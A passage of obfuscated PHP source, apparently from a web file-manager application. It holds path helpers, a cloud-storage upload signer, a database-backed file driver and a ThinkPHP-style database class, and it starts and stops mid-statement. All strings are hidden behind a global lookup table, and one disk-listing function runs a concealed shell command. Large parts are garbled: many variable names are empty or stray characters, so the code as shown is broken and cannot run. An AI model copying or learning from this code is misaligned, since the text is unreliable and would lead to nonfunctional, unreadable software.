$[1287]) === 0) { return !0; } if (strpos($́, $[1288]) === 0) { return !0; } return !1; } public static function clear($) { $ʹ =& $_SERVER[ö]; $ = str_replace(array($ʹ[1092], $ʹ[231]), $ʹ[53], $); $ = str_replace($ʹ[97], $ʹ[8], $); $ = $ʹ[1289]; if (substr($, 0, 3) == $ʹ[1290]) { $ = substr($, 3); } while (strstr($, $)) { $ = str_replace($, $ʹ[8], $); } $ = preg_replace($ʹ[1291], $ʹ[8], $); if ($ == $ʹ[8]) { return $ʹ[8]; } $ = rtrim($, $ʹ[8]); return $; } public static function sourceID($ī) { $А =& $_SERVER[ö]; $ݿд = self::parse($ī); if ($ݿд[$А[33]] !== self::KOD_SOURCE) { show_json(LNG($А[1292]), !1); } return $ݿд[$А[399]]; } public static function make($) { if (!$) { return !1; } return self::makePath(self::KOD_SOURCE, intval($)); } public static function makeShare($㠢, $Į) { return self::makePath(self::KOD_SHARE_ITEM, $㠢, $Į); } public static function makeFileTypePath($ڍ) { return self::makePath(self::KOD_USER_FILE_TYPE, $ڍ); } public static function makeFileTagPath($) { return self::makePath(self::KOD_USER_FILE_TAG, $); } public static function makePath($ѷ, $ = '', $ڊ = '') { $ˎ =& $_SERVER[ö]; $Ӏ = substr($ѷ, 1, -1); $ = $ˎ[1293] . $Ӏ . $ˎ[1294] . $ . $ˎ[1295]; $ = $ڊ ? $ . $ڊ . $ˎ[8] : $; return $; } public static function hashPath($Ȕ, $ѯ = true) { $ =& $_SERVER[ö]; $ = is_array($Ȕ) ? $Ȕ : IO::info($Ȕ); $ = _get($, $[1296], $[12]); if (!$ && isset($[$[402]])) { $ = IO::info(KodIO::make($[$[402]])); $ = _get($, $[1296], $[12]); } if (!$ && $ѯ) { $蕺 = KodIO::parse($[$[84]]); if (!$蕺[$[33]]) { $ = IO::hashSimple($[$[84]]); } } if (!$) { $ = md5($[$[84]] . $[$[76]] . $[$[85]]); } return $; } public static function hashPathSafe($, $ز = true) { $ =& $_SERVER[ö]; $ԥΤ = self::hashPath($, $ز); return md5($ԥΤ . $[1297] . Model($[776])->get($[777])); } public static function initSystemPath() { $ =& $_SERVER[ö]; if (defined($[1298])) { return; } define($[1298], self::systemPath($[1299])); define($[1300], self::systemPath($[1301])); define($[1302], self::systemPath($[1303])); define($[1304], self::systemPath($[1305])); IOHistory::bindEvent(); } public static function systemPath($) { $ӕ =& $_SERVER[ö]; $ڰ = $ӕ[1306] . ucfirst($); $ڧ = Model($ӕ[776])->get($ڰ); if ($ڧ) { return $ڧ; } if ($ == $ӕ[1299]) { $ڧ = self::make(Model($ӕ[831])->systemRootPathAdd($ӕ[544])); } else { $ڧ = self::systemPath($ӕ[1299]); $ = self::sourceID($ڧ); $ڧ = self::make(Model($ӕ[831])->mkdir($, $)); } Model($ӕ[776])->set($ڰ, $ڧ); return $ڧ; } public static function systemFolder($ꁽ) { $ۜ = IO_PATH_SYSTEM_SOURCE . $ꁽ; $䷣ = Cache::get($ۜ); if (!$䷣) { $ = IO::infoFull($ۜ); if (!$) { $䷣ = IO::mkdir($ۜ, REPEAT_SKIP); } else { $䷣ = $[$_SERVER[ö][84]]; } Cache::set($ۜ, $䷣, 3600 * 10); } return $䷣; } public static function defaultDriver() { return Model($_SERVER[ö][773])->defaultDriver(); } public static function defaultIO() { $ =& $_SERVER[ö]; $ڜÑ = self::defaultDriver(); return $[1307] . $ڜÑ[$[399]] . $[1295]; } public static function defaultDriverInit() { static $̽ = false; if ($̽) { return $̽; } $̽ = IO::init(self::defaultIO()); return $̽; } public static function fileTypeList() { $ϟ =& $_SERVER[ö]; $ײ = $GLOBALS[$ϟ[6]][$ϟ[1308]]; foreach ($ײ as $ıǖ => $ěힼ) { $ = $ϟ[1309] . $ıǖ; $轰 = LNG($); if ($ != $轰) { $ײ[$ıǖ][$ϟ[32]] = $轰; } } return $ײ; } public static function diskList($Բ = true) { $߸ = $_SERVER[ö][1310]; if ($Բ) { $ǯ = Cache::get($߸); if (is_array($ǯ)) { return $ǯ; } } $ǯ = self::diskListGet(); Cache::set($߸, $ǯ, 60); return $ǯ; } public static function diskListGet() { $꒹ =& $_SERVER[ö]; $ = array(); if ($GLOBALS[$꒹[6]][$꒹[1311]] == $꒹[1312]) { $с = $꒹[1313]; for ($ = 0; $ < strlen($с); $++) { $揯 = $с[$] . $꒹[1314]; if (file_exists($揯)) { $[] = $揯; } } return $; } if (!function_exists($꒹[98])) { $[] = $꒹[849]; return $; } $ = explode($꒹[231], shell_exec($꒹[1315])); array_shift($); array_pop($); $ټ = array($꒹[1316], $꒹[1317], $꒹[1318], $꒹[1319], $꒹[1320], $꒹[1321], $꒹[1322], $꒹[1323]); foreach ($ as $ʇ) { $ݿʶ = preg_split($꒹[1324], $ʇ); $揯 = $ݿʶ[count($ݿʶ) - 1]; if (!strstr($ݿʶ[0], $꒹[1325]) || !$揯) { continue; } $ = rtrim($揯, $꒹[8]) . $꒹[8]; if (in_array($, $ټ)) { continue; } $[] = $; } return $; } public static function isSameDisk($ץ, $ۼ) { $즺 =& $_SERVER[ö]; if ($GLOBALS[$즺[6]][$즺[1311]] == $즺[1312]) { return strtolower(substr($ץ, 0, 1)) == strtolower(substr($ۼ, 0, 1)); } $Ғĥ = self::diskList(); $Ʌ = !1; $ = !1; sort($Ғĥ); $Ғĥ = array_reverse($Ғĥ); $ץ = rtrim($ץ, $즺[8]) . $즺[8]; $ۼ = rtrim($ۼ, $즺[8]) . $즺[8]; foreach ($Ғĥ as $) { $ۿ = strlen($); if (!$Ʌ && substr($ץ, 0, $ۿ) == $) { $Ʌ = $; } if (!$ && substr($ۼ, 0, $ۿ) == $) { $ = $; } if ($Ʌ && $) { break; } } return $Ʌ === $; } public static function transferType($Ϊ, $) { $ւ =& $_SERVER[ö]; $嵐 = self::driverType($Ϊ); $ƛ = self::driverType($); if ($嵐[$ւ[33]] == $ƛ[$ւ[33]] && $嵐[$ւ[1326]] == $ƛ[$ւ[1326]]) { return $ւ[1327]; } if ($嵐[$ւ[33]] == $ւ[882] && $ƛ[$ւ[33]] == $ւ[106]) { return $ւ[1209]; } if ($嵐[$ւ[33]] == $ւ[106] && $ƛ[$ւ[33]] == $ւ[882]) { return $ւ[107]; } return $ւ[1328]; } public static function driverType($ڧ) { $ =& $_SERVER[ö]; $ = str_replace($[1329], $[12], strtolower($ڧ->getType())); if ($ == $[764] || $ == $[1330] || $ == $[1331]) { $ڧ = self::defaultDriverInit(); } else { if ($ == $[1219] || $ == $[1332]) { $ڧ = IO::init($ڧ->pathParse[$[1165]]); } } $ = $ڧ->path; $ = str_replace($[1329], $[12], strtolower($ڧ->getType())); if ($ == $[106]) { return array($[33] => $[106], $[1326] => $[12], $[84] => $); } return array($[33] => $[882], $[1326] => $ڧ->pathDriver, $[84] => $); } public static function pathDriverType($) { return $ ? self::driverType(IO::init($)) : !1; } } class PathDriverCOS extends PathDriverBaseS3 { public function __construct($) { parent::__construct($); $this->signatureVersion($_SERVER[ö][216]); } public function uploadFormData($ʸ, $͡ = 3600) { $ =& $_SERVER[ö]; $۹ = $[198]; $Ǝ = $[232]; $ = $[1333]; $ߠ = gmdate($[1334], time() + $͡); $ = (string) time() . $[71] . (string) (time() + $͡); $Ψú = array($[1335] => $ߠ, $[1336] => array(array($[1337] => $۹), array($[1338] => $this->bucket), array($[1339], $[1340], $[12]), array($[1341] => $), array($[1342] => $Ǝ), array($[1343] => $this->accessKey), array($[1344] => $))); $Ψú = json_encode($Ψú); $ = hash_hmac($[232], $, $this->secret); $ = sha1($Ψú); $쯻 = hash_hmac($[232], $, $); $ = array($[1337] => $۹, $[1341] => $, $[1345] => base64_encode($Ψú), $[1342] => $Ǝ, $[1343] => $this->accessKey, $[1346] => $, $[1347] => $쯻, $[181] => $this->getHost()); return $; } public function fileOutLink($) { $ʟ =& $_SERVER[ö]; if (substr($, 0, 7) == $ʟ[1348]) { $ = $ʟ[1349] . substr($, 7); } header($ʟ[161] . $); die; } } class PathDriverDB extends PathDriverBase { public $model; public $pathParse; public function __construct($͕ׯ) { $this->pathParse = $͕ׯ; $this->model = Model($_SERVER[ö][1350]); } public function getPath($钶) { return trim($钶, $_SERVER[ö][8]); } public function pathFather($Ь) { $Җ = $this->parse($Ь); $Җ = $this->infoSimple($Ь); return $Җ ? $Җ[$_SERVER[ö][432]] : !1; } public function pathThis($) { $ = $this->infoSimple($); return $ ? $[$_SERVER[ö][32]] : !1; } public function getPathOuter($մ͋) { if (!$մ͋) { return $մ͋; } $ = $this->parse($մ͋); return KodIO::make($[$_SERVER[ö][399]]); } public function copyFolderFromIO($, $ͯ, $콌, $Ɣ, $ȋ) { $ۄ = $this->model->copyFolderFromIO($, $ͯ, $콌, $Ɣ, $ȋ); return KodIO::make($ۄ); } public function isParentOf($ǖ, $͙ɛ) { return $this->model->isParentOf($ǖ, $͙ɛ); } public function mkfile($ڑԄ, $ӱ = '', $ = REPEAT_RENAME) { $ =& $_SERVER[ö]; $ = $this->parse($ڑԄ); $ڑԄ = $[$[399]]; for ($ߚ = 0; $ߚ < count($[$[1351]]); $ߚ++) { $ˈ = $[$[1351]][$ߚ]; if ($ߚ == count($[$[1351]]) - 1) { $ڑԄ = $this->model->mkfile($ڑԄ, $ˈ, $ӱ, $); break; } $ڑԄ = $this->model->mkdir($ڑԄ, $ˈ, REPEAT_SKIP); } return $this->getPathOuter($ڑԄ); } public function mkdir($, $ɍ = REPEAT_SKIP) { $ =& $_SERVER[ö]; $ = $this->parse($); $ = $[$[399]]; for ($ = 0; $ < count($[$[1351]]); $++) { $ۆ = $[$[1351]][$]; $ = $this->model->mkdir($, $ۆ, $ɍ); } return $this->getPathOuter($); } public function copyFile($, $̟, $ȱ = REPEAT_REPLACE) { $ =& $_SERVER[ö]; $綝 = $this->parse($̟); $ = $this->model->copy($, $綝[$[399]], $ȱ, $綝[$[84]]); return $ ? $this->getPathOuter($) : !1; } public function moveFile($, $◗, $ = REPEAT_REPLACE) { $ =& $_SERVER[ö]; $ڭ = $this->parse($◗); $¹ = $this->model->move($, $ڭ[$[399]], $, $ڭ[$[84]]); return $¹ ? $this->getPathOuter($¹) : !1; } public function copy($, $Ξ, $ݶ = REPEAT_REPLACE, $Ȁ = false) { $Я = $this->parse($Ξ); $娌 = $this->model->copy($, $Я[$_SERVER[ö][399]], $ݶ, $Ȁ); return $娌 ? $this->getPathOuter($娌) : !1; } public function moveSameAllow() { } public function move($, $鄤, $Ҵأ = REPEAT_REPLACE, $Ք = false) { $
= $this->parse($鄤); $ջ = $this->model->move($, $
[$_SERVER[ö][399]], $Ҵأ, $Ք); return $ջ ? $this->getPathOuter($ջ) : !1; } public function remove($, $Ϧ = true) { return $this->model->remove($, $Ϧ); } public function rename($, $Ʀ) { $ = $this->model->rename($, $Ʀ); return $ ? $this->getPathOuter($) : $; } public function size($) { $ۮ = $this->infoSimple($); return $ۮ ? $ۮ[$_SERVER[ö][76]] : 0; } public function infoSimple($髼) { return $this->model->sourceInfo($髼); } public function info($) { return $this->infoParse($); } public function infoAuth($) { return $this->infoParse($, !1, !0); } public function infoWithChildren($Ʈ) { return $this->infoParse($Ʈ, !0); } protected function infoParse($IJ, $ŋ = false, $ = false) { if (!$ŋ) { return $this->model->pathInfo($IJ, $); } return $this->model->pathInfoMore($IJ); } public function infoFull($) { $ÿ =& $_SERVER[ö]; $ = explode($ÿ[8], $); $оӭ = implode($ÿ[8], array_splice($, 1)); return $this->model->pathInfoByPath($[0], $оӭ); } public function hashSimple($) { $ =& $_SERVER[ö]; $ = $this->infoWithChildren($); return $[$[170]][$[177]]; } public function hashMd5($) { $ =& $_SERVER[ö]; $߆ = $this->infoWithChildren($); return $߆[$[170]][$[176]]; } public function exist($Σ) { $ =& $_SERVER[ö]; $ֆ = $this->parse($Σ); if (!$ֆ[$[84]]) { return $this->isFile($Σ) || $this->isFolder($Σ); } $ҋ = array($[401] => $ֆ[$[399]], $[32] => $ֆ[$[84]]); $ = $this->model->where($ҋ)->find(); return $ ? !0 : !1; } public function isFile($ϯ) { $լ =& $_SERVER[ö]; $ = $this->infoSimple($ϯ); return $ && $[$լ[410]] == $լ[88] ? !1 : !0; } public function isFolder($̓) { $ߥ =& $_SERVER[ö]; $ = $this->infoSimple($̓); return $ && $[$ߥ[410]] == $ߥ[88] ? !0 : !1; } public function listPath($ѽ, $ = false) { $ =& $_SERVER[ö]; if ($ѽ == $[12]) { return !1; } $Ԥ = array($[401] => $ѽ); if ($) { return $this->model->listSource($Ԥ, -1); } return $this->model->listSource($Ԥ); } public function has($, $Н = false, $Õ = null) { $ٝԘ =& $_SERVER[ö]; $͙ = $this->infoWithChildren($); if ($Н) { return array($ٝԘ[208] => $͙[$ٝԘ[208]], $ٝԘ[207] => $͙[$ٝԘ[207]]); } return $Õ ? $͙[$ٝԘ[208]] : $͙[$ٝԘ[207]]; } public function listAll($倸) { $ͮ = IO::info($this->pathParse[$_SERVER[ö][84]]); if (!$ͮ) { return array(); } return $this->model->listAll($倸); } public function getContent($Ζ) { return $this->model->getContent($Ζ); } public function setContent($Ŋ, $߉ = '') { return $this->model->setContent($Ŋ, $߉); } public function fileSubstr($, $ݸ, $) { return $this->model->fileSubstr($, $ݸ, $); } public function download($, $Ϣ = '') { $ = get_path_father($Ϣ); $ = get_path_this($Ϣ); $ߦ = $this->model->fileInfoGet($); $ = IO::copy($ߦ[$_SERVER[ö][84]], $, !1, $); return $; } public function setModifyTime($ў, $ܨ = '') { $ =& $_SERVER[ö]; if (!$ў) { return; } $this->model->where(array($[417] => $ў))->save(array($[85] => $ܨ)); } public function upload($Ƹ, $, $ս = false, $ = REPEAT_REPLACE) { $͋ =& $_SERVER[ö]; $ = $this->parse($Ƹ); $ = $this->model->addFile($[$͋[399]], $, $[$͋[84]], $ս, $); return $this->getPathOuter($); } public function uploadFileByID($, $, $Ř) { $ =& $_SERVER[ö]; $ʽ = $this->parse($); $ߢ = $this->model->addFileByFileID($ʽ[$[399]], $, $ʽ[$[84]], $Ř); return $this->getPathOuter($ߢ); } public function addFileByRemote($, $, $ò = array(), $ = '', $ٞ̅) { $ =& $_SERVER[ö]; $ = $this->parse($); $ = empty($) ? $[$[84]] : $; $ = $this->model->addFileByRemote($[$[399]], $, $, $ò, $ٞ̅); return $this->getPathOuter($); } public function uploadLink($, $ܔ = 0) { $ =& $_SERVER[ö]; $ɗ = $this->parse($); $ۓ = _get($GLOBALS[$[7]], $[1352]); $Խ = _get($GLOBALS[$[7]], $[1353]); $ = Model($[609])->createFileName($ɗ[$[84]], $ۓ, $Խ); return IO::uploadLink($, $ܔ); } public function fileNameAuto($, $, $ = REPEAT_REPLACE, $ = false) { return $this->model->fileNameAuto($, $, $, $); } public function fileNameExist($, $ԬҬ) { return $this->model->fileNameExist($, $ԬҬ); } protected function _fileOut($, $Հ = false, $怛Ϋ = false, $ = '', $ = false) { $ =& $_SERVER[ö]; $҅ = $this->model->sourceInfo($); if ($҅[$[410]] == $[88]) { header($[1354]); die; } $ = $this->model->fileInfoGet($); $ = $[$[176]] ? $[$[176]] : $; $ = isset($GLOBALS[$[1355]]) ? $GLOBALS[$[1355]] : $҅[$[32]]; if ($) { return IO::fileOutServer($[$[84]], $Հ, $, $); } IO::fileOut($[$[84]], $Հ, $, $); } public function fileOut($㞨, $ = false, $ = false, $ŋ = '') { $this->_fileOut($㞨, $, $, $ŋ); } public function fileOutServer($צ, $ᆼ = false, $ = false, $ݛٙ = '') { $this->_fileOut($צ, $ᆼ, $, $ݛٙ, !0); } protected function _fileOutImage($, $ƕ֣ = 250) { $ =& $_SERVER[ö]; $𠴘Ǝ = $this->model->pathInfo($); if ($𠴘Ǝ[$[410]] == $[88]) { show_json($[1356] . $, !1); } $Ꙑ = $this->model->fileInfoGet($); $Ꙑ[$[32]] = $𠴘Ǝ[$[32]]; $Ꙑ[$[169]] = $𠴘Ǝ[$[169]]; $GLOBALS[$[1355]] = $Ꙑ[$[32]]; $GLOBALS[$[168]] = $Ꙑ; IO::fileOutImage($Ꙑ[$[84]], $ƕ֣); } public function fileOutImage($, $؍ = 250) { $this->_fileOutImage($, $؍); } public function fileOutImageServer($, $ř = 250) { $this->_fileOutImage($, $ř); } public function link($݉ۙ, $ = '') { $ޕ = $this->model->fileInfoGet($݉ۙ); return IO::link($ޕ[$_SERVER[ö][84]], $); } protected function parse($Ѭ) { $ =& $_SERVER[ö]; if (strstr($Ѭ, $[8]) === !1) { return array($[419] => intval($Ѭ), $[84] => $[12], $[1351] => array()); } $ǿ = explode($[8], trim($Ѭ, $[8])); if (count($ǿ) < 2) { show_tips(clear_html($Ѭ) . $[1357]); } return array($[419] => intval($ǿ[0]), $[84] => $ǿ[1], $[1351] => array_slice($ǿ, 1)); } } goto A밮̉; cӕ: define($_SERVER[ö][241], 1); define($_SERVER[ö][242], 0); define($_SERVER[ö][243], 2); goto C楝; Fזӌ: define($_SERVER[ö][238], 1); define($_SERVER[ö][239], 2); define($_SERVER[ö][240], 3); goto cӕ; bʒ: class DbSqlite3 extends DbSqlite3Base { public function query($ȗ) { $۳ =& $_SERVER[ö]; if (!CacheLock::fileLock($۳[13])) { return !1; } $ = parent::query($ȗ); CacheLock::fileUnLock($۳[13]); return $; } public function execute($) { $ =& $_SERVER[ö]; if (!CacheLock::fileLock($[13])) { return !1; } $͓ = parent::execute($); CacheLock::fileUnLock($[13]); return $͓; } } class Db { protected $dbType = null; protected $autoFree = false; protected $model = "\137\164\x68\x69\x6e\x6b\137"; protected $pconnect = false; protected $queryStr = ''; protected $modelSql = array(); protected $lastInsID = null; protected $numRows = 0; protected $numCols = 0; protected $transTimes = 0; protected $error = ''; protected $linkID = array(); protected $_linkID = null; protected $queryID = null; protected $connected = false; protected $config = ''; protected $configLast = ''; protected $exp = array("\145\x71" => "\x3d", "\x6e\145\x71" => "\x3c\76", "\x67\x74" => "\x3e", "\x65\147\x74" => "\x3e\x3d", "\x6c\164" => "\74", "\145\x6c\x74" => "\74\75", "\x6e\x6f\x74\x6c\151\x6b\145" => "\116\117\124\40\114\111\x4b\105", "\154\151\x6b\x65" => "\x4c\111\113\x45", "\151\x6e" => "\x49\x4e", "\x6e\157\x74\x69\156" => "\x4e\x4f\124\x20\x49\x4e", "\x6e\157\x74\x20\151\156" => "\x4e\x4f\x54\x20\x49\x4e", "\x62\x65\x74\167\x65\145\156" => "\102\105\x54\127\105\x45\116", "\156\157\164\x62\x65\x74\167\145\x65\156" => "\x4e\x4f\x54\40\x42\105\x54\127\x45\x45\116", "\156\157\x74\x20\142\x65\x74\167\145\145\x6e" => "\116\117\x54\x20\102\105\124\x57\105\x45\116"); protected $selectSql = "\x53\105\114\105\x43\124\x25\104\x49\123\124\111\x4e\x43\124\x25\40\45\106\x49\x45\x4c\104\45\40\106\122\117\115\x20\45\124\101\x42\x4c\x45\45\x25\x4a\117\x49\x4e\x25\x25\127\110\105\x52\x45\x25\x25\x47\122\x4f\x55\120\45\x25\x48\101\126\x49\116\x47\x25\x25\x4f\x52\104\x45\122\x25\45\x4c\111\115\x49\x54\x25\40\x25\x55\x4e\111\117\116\x25\x25\x43\x4f\115\115\105\x4e\124\x25"; protected $bind = array(); public static function getInstance() { $ = func_get_args(); return think_get_instance_of(__CLASS__, $_SERVER[ö][974], $); } public function factory($ = '') { $ =& $_SERVER[ö]; $ = $this->parseConfig($); if (empty($[$[975]])) { think_exception(think_lang($[976])); } $this->dbType = ucwords(strtolower($[$[975]])); $ = $[977] . $this->dbType; if (class_exists($)) { $ = new $($); if ($[978] != strtolower($[$[975]])) { $->dbType = strtoupper($this->dbType); } else { $->dbType = $this->_getDsnType($[$[930]]); } } else { think_exception(think_lang($[979]) . $[980] . $); } return $; } public function __call($߹, $Ο) { if (method_exists($this, $߹)) { return call_user_func_array(array($this, $߹), $Ο); } } protected function _getDsnType($ܲ) { $ٕՌ = explode($_SERVER[ö][4], $ܲ); $Ƀ = strtoupper(trim($ٕՌ[0])); return $Ƀ; } private function parseConfig($ = '') { $ʹ =& $_SERVER[ö]; if (!empty($) && is_string($)) { $ = $this->parseDSN($); } elseif (is_array($)) { $ = array_change_key_case($); $ = array($ʹ[975] => $[$ʹ[981]], $ʹ[902] => $[$ʹ[982]], $ʹ[903] => $[$ʹ[983]], $ʹ[900] => $[$ʹ[984]], $ʹ[901] => $[$ʹ[985]], $ʹ[21] => $[$ʹ[986]], $ʹ[930] => $[$ʹ[987]], $ʹ[17] => isset($[$ʹ[988]]) ? $[$ʹ[988]] : array()); } elseif (empty($)) { if (think_config($ʹ[989]) && $ʹ[978] != strtolower(think_config($ʹ[990]))) { $ = $this->parseDSN(think_config($ʹ[989])); } else { $ = array($ʹ[975] => think_config($ʹ[990]), $ʹ[902] => think_config($ʹ[991]), $ʹ[903] => think_config($ʹ[992]), $ʹ[900] => think_config($ʹ[993]), $ʹ[901] => think_config($ʹ[994]), $ʹ[21] => think_config($ʹ[246]), $ʹ[930] => think_config($ʹ[989]), $ʹ[17] => think_config($ʹ[995])); } } return $; } protected function initConnect($ = true) { if (1 == think_config($_SERVER[ö][22])) { $this->_linkID = $this->multiConnect($); } else { if ($this->config) { $this->configLast = $this->config; } } if (!$this->connected) { $this->_linkID = $this->connect(); } } protected function closeConnect() { if (!$this->connected) { return; } foreach ($this->linkID as $ => $褌) { $this->_linkID = $褌; $this->close(); } $this->linkID = array(); $this->_linkID = null; $this->connected = !1; if (!$this->config && $this->configLast) { $this->config = $this->configLast; } } protected function multiConnect($ɔ = false) { $ł =& $_SERVER[ö]; static $ɹ = array(); static $Ȣ녤 = -1; if (empty($ɹ)) { foreach ($this->config as $݆ => $ڨܴ) { $ɹ[$݆] = explode($ł[50], $ڨܴ); } } if (think_config($ł[996])) { if ($ɔ || think_config($ł[395]) === !0) { $ϋ = floor(mt_rand(0, think_config($ł[997]) - 1)); $Ȣ녤 = $ϋ; } else { if (is_numeric(think_config($ł[998]))) { $ϋ = think_config($ł[998]); } else { $ϋ = floor(mt_rand(think_config($ł[997]), count($ɹ[$ł[900]]) - 1)); } } } else { $ϋ = floor(mt_rand(0, count($ɹ[$ł[900]]) - 1)); $Ȣ녤 = $ϋ; } $ϋ = $Ȣ녤 !== -1 ? $Ȣ녤 : $ϋ; $낌 = array($ł[902] => isset($ɹ[$ł[902]][$ϋ]) ? $ɹ[$ł[902]][$ϋ] : $ɹ[$ł[902]][0], $ł[903] => isset($ɹ[$ł[903]][$ϋ]) ? $ɹ[$ł[903]][$ϋ] : $ɹ[$ł[903]][0], $ł[900] => isset($ɹ[$ł[900]][$ϋ]) ? $ɹ[$ł[900]][$ϋ] : $ɹ[$ł[900]][0], $ł[901] => isset($ɹ[$ł[901]][$ϋ]) ? $ɹ[$ł[901]][$ϋ] : $ɹ[$ł[901]][0], $ł[21] => isset($ɹ[$ł[21]][$ϋ]) ? $ɹ[$ł[21]][$ϋ] : $ɹ[$ł[21]][0], $ł[930] => isset($ɹ[$ł[930]][$ϋ]) ? $ɹ[$ł[930]][$ϋ] : $ɹ[$ł[930]][0], $ł[17] => isset($ɹ[$ł[17]][$ϋ]) ? $ɹ[$ł[17]][$ϋ] : $ɹ[$ł[17]][0]); return $this->connect($낌, $ϋ); } public function parseDSN($) { $ =& $_SERVER[ö]; if (empty($)) { return !1; } $ = parse_url($); if ($[$[180]]) { $䠚 = array($[975] => $[$[180]], $[902] => isset($[$[600]]) ? $[$[600]] : $[12], $[903] => isset($[$[999]]) ? $[$[999]] : $[12], $[900] => isset($[$[181]]) ? $[$[181]] : $[12], $[901] => isset($[$[182]]) ? $[$[182]] : $[12], $[21] => isset($[$[84]]) ? substr($[$[84]], 1) : $[12]); } else { preg_match($[1000], trim($), $); $䠚 = array($[975] => $[1], $[902] => $[2], $[903] => $[3], $[900] => $[4], $[901] => $[5], $[21] => $[6]); } $䠚[$[930]] = $[12]; return $䠚; } protected function debug() { $Μ =& $_SERVER[ö]; $this->modelSql[$this->model] = $this->queryStr; $this->model = $Μ[1001]; if (think_config($Μ[1002])) { think_status($Μ[1003]); think_trace($this->queryStr . $Μ[1004] . think_status($Μ[24], $Μ[1003], 6) . $Μ[1005], $Μ[12], $Μ[1006]); } } protected function parseLock($ = false) { $ݦ =& $_SERVER[ö]; if (!$) { return $ݦ[12]; } if ($ݦ[932] == $this->dbType) { return $ݦ[1007]; } return $ݦ[1008]; } protected function parseSet($) { $÷ =& $_SERVER[ö]; foreach ($ as $´ => $) { if (is_array($) && $÷[297] == $[0]) { $م[] = $this->parseKey($´) . $÷[898] . $[1]; } elseif (is_scalar($) || is_null($)) { $م[] = $this->parseKey($´) . $÷[898] . $this->parseValue($); } } return $÷[1009] . implode($÷[50], $م); } protected function bindParam($, $) { $this->bind[$_SERVER[ö][4] . $] = $; } protected function parseBind($ɔȐ) { $ɔȐ = array_merge($this->bind, $ɔȐ); $this->bind = array(); return $ɔȐ; } function parseKey(&$, $ = true) { if ($) { $ = $this->parseKeyCheck($); } return $; } function parseKeyCheck($̓) { $ =& $_SERVER[ö]; $̓ = trim($̓); if (!preg_match($[1010], $̓)) { think_exception($[1011] . $̓); } return $̓; } protected function parseValue($) { $ݹ =& $_SERVER[ö]; if (is_string($)) { $ = $ݹ[971] . $this->escapeString($) . $ݹ[971]; } elseif (isset($[0]) && is_string($[0]) && strtolower($[0]) == $ݹ[297]) { $ = $this->escapeString($[1]); } elseif (is_array($)) { $ = array_map(array($this, $ݹ[972]), $); } elseif (is_bool($)) { $ = $ ? $ݹ[88] : $ݹ[197]; } elseif (is_null($)) { $ = $ݹ[103]; } return $; } protected function parseField($Ș) { $ =& $_SERVER[ö]; if (is_string($Ș) && strpos($Ș, $[50])) { $Ș = explode($[50], $Ș); } if (is_array($Ș)) { $ = array(); foreach ($Ș as $ģ => $苵ѝ) { if (!is_numeric($ģ)) { $[] = $this->parseKey($ģ, !1) . $[1012] . $this->parseKey($苵ѝ); } else { $[] = $this->parseKey($苵ѝ); } } $ = implode($[50], $); } elseif (is_string($Ș) && !empty($Ș)) { $ = $Ș; } else { $ = $[188]; } return $; } protected function parseTable($͡) { $ñ籐 =& $_SERVER[ö]; if (is_array($͡)) { $Ԉ = array(); foreach ($͡ as $ʈ => $¢) { if (!is_numeric($ʈ)) { $Ԉ[] = $this->parseKey($ʈ) . $ñ籐[53] . $this->parseKey($¢); } else { $Ԉ[] = $this->parseKey($ʈ); } } $͡ = $Ԉ; } elseif (is_string($͡)) { if (strstr($͡, $ñ籐[53])) { return $͡; } $͡ = explode($ñ籐[50], $͡); array_walk($͡, array($this, $ñ籐[920])); } return $ñ籐[914] . trim(implode($ñ籐[1013], $͡), $ñ籐[385]) . $ñ籐[914]; } protected function parseWhere($) { $ =& $_SERVER[ö]; $ = $[12]; if (is_string($)) { $ = $; } else { $봈 = isset($[$[1014]]) ? strtoupper($[$[1014]]) : $[12]; if (in_array($봈, array($[1015], $[1016], $[1017]))) { $봈 = $[53] . $봈 . $[53]; unset($[$[1014]]); } else { $봈 = $[1018]; } foreach ($ as $ => $) { $ .= $[277]; if (is_numeric($)) { $ = $[1019]; } if (0 === strpos($, $[11])) { $ .= $this->parseThinkWhere($, $); } else { if (!preg_match($[1020], trim($))) { think_exception(think_lang($[1021]) . $[4] . $); } $ = is_array($) && isset($[$[1022]]); $ = trim($); if (strpos($, $[283])) { $ = explode($[283], $); $˲ = array(); foreach ($ as $ => $ܲ) { $ϓ = $ ? $[$] : $; $˲[] = $[260] . $this->parseWhereItem($this->parseKey($ܲ), $ϓ) . $[919]; } $ .= implode($[1023], $˲); } elseif (strpos($, $[284])) { $ = explode($[284], $); $˲ = array(); foreach ($ as $ => $ܲ) { $ϓ = $ ? $[$] : $; $˲[] = $[260] . $this->parseWhereItem($this->parseKey($ܲ), $ϓ) . $[919]; } $ .= implode($[1018], $˲); } else { $ .= $this->parseWhereItem($this->parseKey($), $); } } $ .= $[278] . $봈; } $ = substr($, 0, -strlen($봈)); } return empty($) ? $[12] : $[1024] . $; } protected function parseWhereItem($ᲂ, $ӓ) { $٦ =& $_SERVER[ö]; $ = $٦[12]; if (is_array($ӓ)) { if (is_string($ӓ[0])) { $ = strtolower($ӓ[0]); if (in_array($ӓ[0], array($٦[898], $٦[1025], $٦[1026], $٦[1027], $٦[1028], $٦[1029]))) { $ .= $ᲂ . $٦[53] . $ӓ[0] . $٦[53] . $this->parseValue($ӓ[1]); } elseif (preg_match($٦[1030], $ӓ[0])) { $ .= $ᲂ . $٦[53] . $this->exp[$] . $٦[53] . $this->parseValue($ӓ[1]); } elseif (preg_match($٦[1031], $ӓ[0])) { if (is_array($ӓ[1])) { $ý = isset($ӓ[2]) ? strtoupper($ӓ[2]) : $٦[1016]; if (in_array($ý, array($٦[1015], $٦[1016], $٦[1017]))) { $Ӌ = array(); foreach ($ӓ[1] as $ï) { $Ӌ[] = $ᲂ . $٦[53] . $this->exp[$] . $٦[53] . $this->parseValue($ï); } $ .= $٦[260] . implode($٦[53] . $ý . $٦[53], $Ӌ) . $٦[919]; } } else { $ .= $ᲂ . $٦[53] . $this->exp[$] . $٦[53] . $this->parseValue($ӓ[1]); } } elseif ($٦[297] == $) { $ .= $٦[917] . $ᲂ . $٦[53] . $ӓ[1] . $٦[1032]; } elseif (preg_match($٦[1033], $ӓ[0])) { $ .= $ӓ[0]; } elseif (preg_match($٦[1034], $ӓ[0])) { if (isset($ӓ[2]) && $٦[297] == $ӓ[2]) { $ .= $ᲂ . $٦[53] . $this->exp[$] . $٦[53] . $ӓ[1]; } else { if (is_string($ӓ[1])) { $ӓ[1] = explode($٦[50], $ӓ[1]); } $ = implode($٦[50], $this->parseValue($ӓ[1])); $ .= $ᲂ . $٦[53] . $this->exp[$] . $٦[917] . $ . $٦[919]; } } elseif (preg_match($٦[1035], $ӓ[0])) { $ 